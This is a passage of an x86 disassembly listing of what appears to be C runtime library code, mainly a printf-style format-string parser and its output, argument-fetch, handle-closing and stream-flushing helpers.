or [ebp+var_4], 8
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417E24: ; CODE XREF: sub_417D6C+A4j
or [ebp+var_4], 4
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417E2D: ; CODE XREF: sub_417D6C+A0j
or [ebp+var_4], 1
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417E36: ; CODE XREF: sub_417D6C+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417E3F: ; CODE XREF: sub_417D6C+96j
or [ebp+var_4], 2
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417E48: ; CODE XREF: sub_417D6C+6Ej
; DATA XREF: seg001:off_41848Do
cmp bl, 2Ah ; jumptable 00417DDA case 3
jnz short loc_417E70
lea eax, [ebp+arg_8]
push eax
call sub_41854B
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_418474 ; default
or [ebp+var_4], 4
neg eax
loc_417E68: ; CODE XREF: sub_417D6C+111j
mov [ebp+var_20], eax
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417E70: ; CODE XREF: sub_417D6C+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_417E68
; ---------------------------------------------------------------------------
loc_417E7F: ; CODE XREF: sub_417D6C+6Ej
; DATA XREF: seg001:off_41848Do
mov [ebp+var_10], edx ; jumptable 00417DDA case 4
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417E87: ; CODE XREF: sub_417D6C+6Ej
; DATA XREF: seg001:off_41848Do
cmp bl, 2Ah ; jumptable 00417DDA case 5
jnz short loc_417EAA
lea eax, [ebp+arg_8]
push eax
call sub_41854B
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_418474 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417EAA: ; CODE XREF: sub_417D6C+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417EBC: ; CODE XREF: sub_417D6C+6Ej
; DATA XREF: seg001:off_41848Do
cmp bl, 49h ; jumptable 00417DDA case 6
jz short loc_417EEF
cmp bl, 68h
jz short loc_417EE6
cmp bl, 6Ch
jz short loc_417EDD
cmp bl, 77h
jnz loc_418474 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417EDD: ; CODE XREF: sub_417D6C+15Dj
or [ebp+var_4], 10h
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417EE6: ; CODE XREF: sub_417D6C+158j
or [ebp+var_4], 20h
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417EEF: ; CODE XREF: sub_417D6C+153j
cmp byte ptr [edi], 36h
jnz short loc_417F08
cmp byte ptr [edi+1], 34h
jnz short loc_417F08
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417F08: ; CODE XREF: sub_417D6C+186j
; sub_417D6C+18Cj
mov [ebp+var_30], edx
loc_417F0B: ; CODE XREF: sub_417D6C+6Ej
; DATA XREF: seg001:off_41848Do
mov ecx, off_437F20 ; jumptable 00417DDA case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_417F37
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_4184AD
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_417F37: ; CODE XREF: sub_417D6C+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_4184AD
add esp, 0Ch
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_417F4F: ; CODE XREF: sub_417D6C+6Ej
; DATA XREF: seg001:off_41848Do
movsx eax, bl ; jumptable 00417DDA case 7
cmp eax, 67h
jg loc_418177
cmp eax, 65h
jge loc_417FFA
cmp eax, 58h
jg loc_418058
jz loc_4181EB
sub eax, 43h
jz loc_41801B
dec eax
dec eax
jz short loc_417FF0
dec eax
dec eax
jz short loc_417FF0
sub eax, 0Ch
jnz loc_418376
test word ptr [ebp+var_4], 830h
jnz short loc_417F99
or byte ptr [ebp+var_4+1], 8
loc_417F99: ; CODE XREF: sub_417D6C+227j
; sub_417D6C+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_417FA6
mov esi, 7FFFFFFFh
loc_417FA6: ; CODE XREF: sub_417D6C+233j
lea eax, [ebp+arg_8]
push eax
call sub_41854B
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_4181BF
test ecx, ecx
jnz short loc_417FCE
mov ecx, off_437F1C
mov [ebp+var_8], ecx
loc_417FCE: ; CODE XREF: sub_417D6C+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_417FD7: ; CODE XREF: sub_417D6C+282j
mov edx, esi
dec esi
test edx, edx
jz loc_4181B6
cmp word ptr [eax], 0
jz loc_4181B6
inc eax
inc eax
jmp short loc_417FD7
; ---------------------------------------------------------------------------
loc_417FF0: ; CODE XREF: sub_417D6C+212j
; sub_417D6C+216j
mov [ebp+var_34], 1
add bl, 20h
loc_417FFA: ; CODE XREF: sub_417D6C+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_4180DE
mov [ebp+var_10], 6
jmp loc_4180EC
; ---------------------------------------------------------------------------
loc_41801B: ; CODE XREF: sub_417D6C+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_418027
or byte ptr [ebp+var_4+1], 8
loc_418027: ; CODE XREF: sub_417D6C+2B5j
; sub_417D6C+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_41806E
call sub_418568
push eax
lea eax, [ebp+var_248]
push eax
call sub_41DA2B
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_418081
mov [ebp+var_28], 1
jmp short loc_418081
; ---------------------------------------------------------------------------
loc_418058: ; CODE XREF: sub_417D6C+1FBj
sub eax, 5Ah
jz short loc_41808F
sub eax, 9
jz short loc_418027
dec eax
jz loc_418251
jmp loc_418376
; ---------------------------------------------------------------------------
loc_41806E: ; CODE XREF: sub_417D6C+2C5j
call sub_41854B
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_418081: ; CODE XREF: sub_417D6C+2E1j
; sub_417D6C+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_418376
; ---------------------------------------------------------------------------
loc_41808F: ; CODE XREF: sub_417D6C+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_41854B
test eax, eax
pop ecx
jz short loc_4180D0
mov ecx, [eax+4]
test ecx, ecx
jz short loc_4180D0
test byte ptr [ebp+var_4+1], 8
jz short loc_4180C1
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_418376
; ---------------------------------------------------------------------------
loc_4180C1: ; CODE XREF: sub_417D6C+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_418373
; ---------------------------------------------------------------------------
loc_4180D0: ; CODE XREF: sub_417D6C+32Fj
; sub_417D6C+336j
mov eax, off_437F18
mov [ebp+var_8], eax
push eax
jmp loc_41816C
; ---------------------------------------------------------------------------
loc_4180DE: ; CODE XREF: sub_417D6C+29Dj
jnz short loc_4180EC
cmp bl, 67h
jnz short loc_4180EC
mov [ebp+var_10], 1
loc_4180EC: ; CODE XREF: sub_417D6C+2AAj
; sub_417D6C:loc_4180DEj ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_43A280
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_41813E
cmp [ebp+var_10], 0
jnz short loc_41813E
lea eax, [ebp+var_248]
push eax
call off_43A28C
pop ecx
loc_41813E: ; CODE XREF: sub_417D6C+3BCj
; sub_417D6C+3C2j
cmp bl, 67h
jnz short loc_418155
test esi, esi
jnz short loc_418155
lea eax, [ebp+var_248]
push eax
call off_43A284
pop ecx
loc_418155: ; CODE XREF: sub_417D6C+3D5j
; sub_417D6C+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_41816B
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_41816B: ; CODE XREF: sub_417D6C+3F0j
push edi
loc_41816C: ; CODE XREF: sub_417D6C+36Dj
call sub_415B10
pop ecx
jmp loc_418373
; ---------------------------------------------------------------------------
loc_418177: ; CODE XREF: sub_417D6C+1E9j
sub eax, 69h
jz loc_418251
sub eax, 5
jz loc_418227
dec eax
jz loc_418214
dec eax
jz short loc_4181E4
sub eax, 3
jz loc_417F99
dec eax
dec eax
jz loc_418255
sub eax, 3
jnz loc_418376
mov [ebp+var_2C], 27h
jmp short loc_4181F2
; ---------------------------------------------------------------------------
loc_4181B6: ; CODE XREF: sub_417D6C+270j
; sub_417D6C+27Aj
sub eax, ecx
sar eax, 1
jmp loc_418373
; ---------------------------------------------------------------------------
loc_4181BF: ; CODE XREF: sub_417D6C+24Fj
test ecx, ecx
jnz short loc_4181CC
mov ecx, off_437F18
mov [ebp+var_8], ecx
loc_4181CC: ; CODE XREF: sub_417D6C+455j
mov eax, ecx
loc_4181CE: ; CODE XREF: sub_417D6C+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_4181DD
cmp byte ptr [eax], 0
jz short loc_4181DD
inc eax
jmp short loc_4181CE
; ---------------------------------------------------------------------------
loc_4181DD: ; CODE XREF: sub_417D6C+467j
; sub_417D6C+46Cj
sub eax, ecx
jmp loc_418373
; ---------------------------------------------------------------------------
loc_4181E4: ; CODE XREF: sub_417D6C+425j
mov [ebp+var_10], 8
loc_4181EB: ; CODE XREF: sub_417D6C+201j
mov [ebp+var_2C], 7
loc_4181F2: ; CODE XREF: sub_417D6C+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_41825C
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_41825C
; ---------------------------------------------------------------------------
loc_418214: ; CODE XREF: sub_417D6C+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_41825C
or byte ptr [ebp+var_4+1], 2
jmp short loc_41825C
; ---------------------------------------------------------------------------
loc_418227: ; CODE XREF: sub_417D6C+417j
lea eax, [ebp+arg_8]
push eax
call sub_41854B
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_418240
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_418245
; ---------------------------------------------------------------------------
loc_418240: ; CODE XREF: sub_417D6C+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_418245: ; CODE XREF: sub_417D6C+4D2j
mov [ebp+var_28], 1
jmp loc_418474 ; default
; ---------------------------------------------------------------------------
loc_418251: ; CODE XREF: sub_417D6C+2F7j
; sub_417D6C+40Ej
or [ebp+var_4], 40h
loc_418255: ; CODE XREF: sub_417D6C+432j
mov [ebp+var_C], 0Ah
loc_41825C: ; CODE XREF: sub_417D6C+491j
; sub_417D6C+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_41826E
lea eax, [ebp+arg_8]
push eax
call sub_418558
pop ecx
jmp short loc_4182AF
; ---------------------------------------------------------------------------
loc_41826E: ; CODE XREF: sub_417D6C+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_418295
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41828A
call sub_41854B
pop ecx
movsx eax, ax
loc_418287: ; CODE XREF: sub_417D6C+527j
; sub_417D6C+539j
cdq
jmp short loc_4182AF
; ---------------------------------------------------------------------------
loc_41828A: ; CODE XREF: sub_417D6C+510j
call sub_41854B
pop ecx
movzx eax, ax
jmp short loc_418287
; ---------------------------------------------------------------------------
loc_418295: ; CODE XREF: sub_417D6C+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_4182A7
call sub_41854B
pop ecx
jmp short loc_418287
; ---------------------------------------------------------------------------
loc_4182A7: ; CODE XREF: sub_417D6C+531j
call sub_41854B
pop ecx
xor edx, edx
loc_4182AF: ; CODE XREF: sub_417D6C+500j
; sub_417D6C+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_4182D0
test edx, edx
jg short loc_4182D0
jl short loc_4182BF
test eax, eax
jnb short loc_4182D0
loc_4182BF: ; CODE XREF: sub_417D6C+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_4182D4
; ---------------------------------------------------------------------------
loc_4182D0: ; CODE XREF: sub_417D6C+547j
; sub_417D6C+54Bj ...
mov esi, eax
mov edi, edx
loc_4182D4: ; CODE XREF: sub_417D6C+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_4182DD
and edi, 0
loc_4182DD: ; CODE XREF: sub_417D6C+56Cj
cmp [ebp+var_10], 0
jge short loc_4182EC
mov [ebp+var_10], 1
jmp short loc_4182F0
; ---------------------------------------------------------------------------
loc_4182EC: ; CODE XREF: sub_417D6C+575j
and [ebp+var_4], 0FFFFFFF7h
loc_4182F0: ; CODE XREF: sub_417D6C+57Ej
mov eax, esi
or eax, edi
jnz short loc_4182FA
and [ebp+var_1C], 0
loc_4182FA: ; CODE XREF: sub_417D6C+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_418300: ; CODE XREF: sub_417D6C+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_418310
mov eax, esi
or eax, edi
jz short loc_41834B
loc_418310: ; CODE XREF: sub_417D6C+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_417100
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_417180
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_418341
add ebx, [ebp+var_2C]
loc_418341: ; CODE XREF: sub_417D6C+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_418300
; ---------------------------------------------------------------------------
loc_41834B: ; CODE XREF: sub_417D6C+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_418376
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_418369
test eax, eax
jnz short loc_418376
loc_418369: ; CODE XREF: sub_417D6C+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_418373: ; CODE XREF: sub_417D6C+35Fj
; sub_417D6C+406j ...
mov [ebp+var_C], eax
loc_418376: ; CODE XREF: sub_417D6C+21Bj
; sub_417D6C+2FDj ...
cmp [ebp+var_28], 0
jnz loc_418474 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_4183AE
test bh, 1
jz short loc_418393
mov [ebp+var_16], 2Dh
jmp short loc_4183A7
; ---------------------------------------------------------------------------
loc_418393: ; CODE XREF: sub_417D6C+61Fj
test bl, 1
jz short loc_41839E
mov [ebp+var_16], 2Bh
jmp short loc_4183A7
; ---------------------------------------------------------------------------
loc_41839E: ; CODE XREF: sub_417D6C+62Aj
test bl, 2
jz short loc_4183AE
mov [ebp+var_16], 20h
loc_4183A7: ; CODE XREF: sub_417D6C+625j
; sub_417D6C+630j
mov [ebp+var_1C], 1
loc_4183AE: ; CODE XREF: sub_417D6C+61Aj
; sub_417D6C+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_4183CE
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_4184E2
add esp, 10h
loc_4183CE: ; CODE XREF: sub_417D6C+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_418513
add esp, 10h
test bl, 8
jz short loc_418400
test bl, 4
jnz short loc_418400
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_4184E2
add esp, 10h
loc_418400: ; CODE XREF: sub_417D6C+67Bj
; sub_417D6C+680j
cmp [ebp+var_24], 0
jz short loc_418447
cmp [ebp+var_C], 0
jle short loc_418447
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_418415: ; CODE XREF: sub_417D6C+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_41DA2B
pop ecx
test eax, eax
pop ecx
jle short loc_41845C
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_418513
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_418415
jmp short loc_41845C
; ---------------------------------------------------------------------------
loc_418447: ; CODE XREF: sub_417D6C+698j
; sub_417D6C+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_418513
add esp, 10h
loc_41845C: ; CODE XREF: sub_417D6C+6BCj
; sub_417D6C+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_418474 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_4184E2
add esp, 10h
loc_418474: ; CODE XREF: sub_417D6C+68j
; sub_417D6C+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_417D98
loc_418485: ; CODE XREF: sub_417D6C+1Fj
; sub_417D6C+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_417D6C endp
; ---------------------------------------------------------------------------
off_41848D dd offset loc_417F0B ; DATA XREF: sub_417D6C+6Er
dd offset loc_417DE1 ; jump table for switch statement
dd offset loc_417DFC
dd offset loc_417E48
dd offset loc_417E7F
dd offset loc_417E87
dd offset loc_417EBC
dd offset loc_417F4F
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4184AD proc near ; CODE XREF: sub_417D6C+1BDp
; sub_417D6C+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_4184C6
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_4184D1
; ---------------------------------------------------------------------------
loc_4184C6: ; CODE XREF: sub_4184AD+9j
push ecx
push [ebp+arg_0]
call sub_417C57
pop ecx
pop ecx
loc_4184D1: ; CODE XREF: sub_4184AD+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_4184DE
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4184DE: ; CODE XREF: sub_4184AD+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_4184AD endp
; =============== S U B R O U T I N E =======================================
sub_4184E2 proc near ; CODE XREF: sub_417D6C+65Ap
; sub_417D6C+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_418510
mov esi, [esp+8+arg_C]
loc_4184F3: ; CODE XREF: sub_4184E2+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_4184AD
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_418510
mov eax, edi
dec edi
test eax, eax
jg short loc_4184F3
loc_418510: ; CODE XREF: sub_4184E2+Bj
; sub_4184E2+25j
pop edi
pop esi
retn
sub_4184E2 endp
; =============== S U B R O U T I N E =======================================
sub_418513 proc near ; CODE XREF: sub_417D6C+670p
; sub_417D6C+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_418547
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_418529: ; CODE XREF: sub_418513+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_4184AD
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_418547
mov eax, ebx
dec ebx
test eax, eax
jg short loc_418529
loc_418547: ; CODE XREF: sub_418513+Cj
; sub_418513+2Bj
pop edi
pop esi
pop ebx
retn
sub_418513 endp
; =============== S U B R O U T I N E =======================================
sub_41854B proc near ; CODE XREF: sub_417D6C+E5p
; sub_417D6C+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_41854B endp
; =============== S U B R O U T I N E =======================================
sub_418558 proc near ; CODE XREF: sub_417D6C+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_418558 endp
; =============== S U B R O U T I N E =======================================
sub_418568 proc near ; CODE XREF: sub_417D6C+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_418568 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418576 proc near ; CODE XREF: sub_4157F4+17p
; sub_4157F4+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_418594
mov ecx, off_437F20
movzx eax, word ptr [ecx+eax*2]
jmp short loc_4185E6
; ---------------------------------------------------------------------------
loc_418594: ; CODE XREF: sub_418576+10j
mov ecx, eax
push esi
mov esi, off_437F20
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_4185B9
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_4185C2
; ---------------------------------------------------------------------------
loc_4185B9: ; CODE XREF: sub_418576+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_4185C2: ; CODE XREF: sub_418576+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_41DA93
add esp, 1Ch
test eax, eax
jnz short loc_4185E2
leave
retn
; ---------------------------------------------------------------------------
loc_4185E2: ; CODE XREF: sub_418576+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_4185E6: ; CODE XREF: sub_418576+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_418576 endp
; =============== S U B R O U T I N E =======================================
sub_4185EB proc near ; CODE XREF: sub_415960+2Ap
; sub_41DDF6+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, dword_46CA60
jnb loc_418685
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:46C960h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_418685
push edi
call sub_41DD62
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_418664
cmp edi, 1
jz short loc_418632
cmp edi, 2
jnz short loc_418648
loc_418632: ; CODE XREF: sub_4185EB+40j
push 2
call sub_41DD62
push 1
mov ebp, eax
call sub_41DD62
pop ecx
cmp eax, ebp
pop ecx
jz short loc_418664
loc_418648: ; CODE XREF: sub_4185EB+45j
push edi
call sub_41DD62
pop ecx
push eax
call dword_42106C ; CloseHandle
test eax, eax
jnz short loc_418664
call dword_421088 ; RtlGetLastWin32Error
mov ebp, eax
jmp short loc_418666
; ---------------------------------------------------------------------------
loc_418664: ; CODE XREF: sub_4185EB+3Bj
; sub_4185EB+5Bj ...
xor ebp, ebp
loc_418666: ; CODE XREF: sub_4185EB+77j
push edi
call sub_41DCE8
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_418681
push ebp
call sub_41CE74
pop ecx
jmp short loc_418696
; ---------------------------------------------------------------------------
loc_418681: ; CODE XREF: sub_4185EB+8Bj
xor eax, eax
jmp short loc_418699
; ---------------------------------------------------------------------------
loc_418685: ; CODE XREF: sub_4185EB+Ej
; sub_4185EB+2Fj
and dword_46B638, 0
mov dword_46B634, 9
loc_418696: ; CODE XREF: sub_4185EB+94j
or eax, 0FFFFFFFFh
loc_418699: ; CODE XREF: sub_4185EB+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4185EB endp
; =============== S U B R O U T I N E =======================================
sub_41869E proc near ; CODE XREF: sub_415960+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_4186C7
test al, 8
jz short loc_4186C7
push dword ptr [esi+8]
call sub_415C9B
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_4186C7: ; CODE XREF: sub_41869E+Aj
; sub_41869E+Ej
pop esi
retn
sub_41869E endp
; =============== S U B R O U T I N E =======================================
sub_4186C9 proc near ; CODE XREF: sub_418769+2Dp
; sub_418769+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_4186DB
push esi
call sub_418769
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4186DB: ; CODE XREF: sub_4186C9+7j
push esi
call sub_418704
test eax, eax
pop ecx
jz short loc_4186EB
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_4186EB: ; CODE XREF: sub_4186C9+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_418700
push dword ptr [esi+10h]
call sub_41DD9F
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_418700: ; CODE XREF: sub_4186C9+26j
xor eax, eax
pop esi
retn
sub_4186C9 endp
; =============== S U B R O U T I N E =======================================
sub_418704 proc near ; CODE XREF: sub_415960+1Ap
; sub_416CDE+37p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_418751
test ax, 108h
jz short loc_418751
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_418751
push edi
push eax
push dword ptr [esi+10h]
call sub_41CCC7
add esp, 0Ch
cmp eax, edi
jnz short loc_41874A
mov eax, [esi+0Ch]
test al, 80h
jz short loc_418751
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_418751
; ---------------------------------------------------------------------------
loc_41874A: ; CODE XREF: sub_418704+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_418751: ; CODE XREF: sub_418704+14j
; sub_418704+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_418704 endp
; =============== S U B R O U T I N E =======================================
sub_418760 proc near ; CODE XREF: sub_41DA17p
push 1
call sub_418769
pop ecx
retn
sub_418760 endp
; =============== S U B R O U T I N E =======================================
sub_418769 proc near ; CODE XREF: sub_4186C9+Ap
; sub_418760+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_46C940, esi
jle short loc_4187C7
loc_41877A: ; CODE XREF: sub_418769+5Cj
mov eax, dword_46B928
mov eax, [eax+esi*4]
test eax, eax
jz short loc_4187BE
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_4187BE
cmp [esp+0Ch+arg_0], 1
jnz short loc_4187A4
push eax
call sub_4186C9
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_4187BE
inc ebx
jmp short loc_4187BE
; ---------------------------------------------------------------------------
loc_4187A4: ; CODE XREF: sub_418769+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_4187BE
test cl, 2
jz short loc_4187BE
push eax
call sub_4186C9
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_4187BE
or edi, eax
loc_4187BE: ; CODE XREF: sub_418769+1Bj
; sub_418769+23j ...
inc esi
cmp esi, dword_46C940
jl short loc_41877A
loc_4187C7: ; CODE XREF: sub_418769+Fj
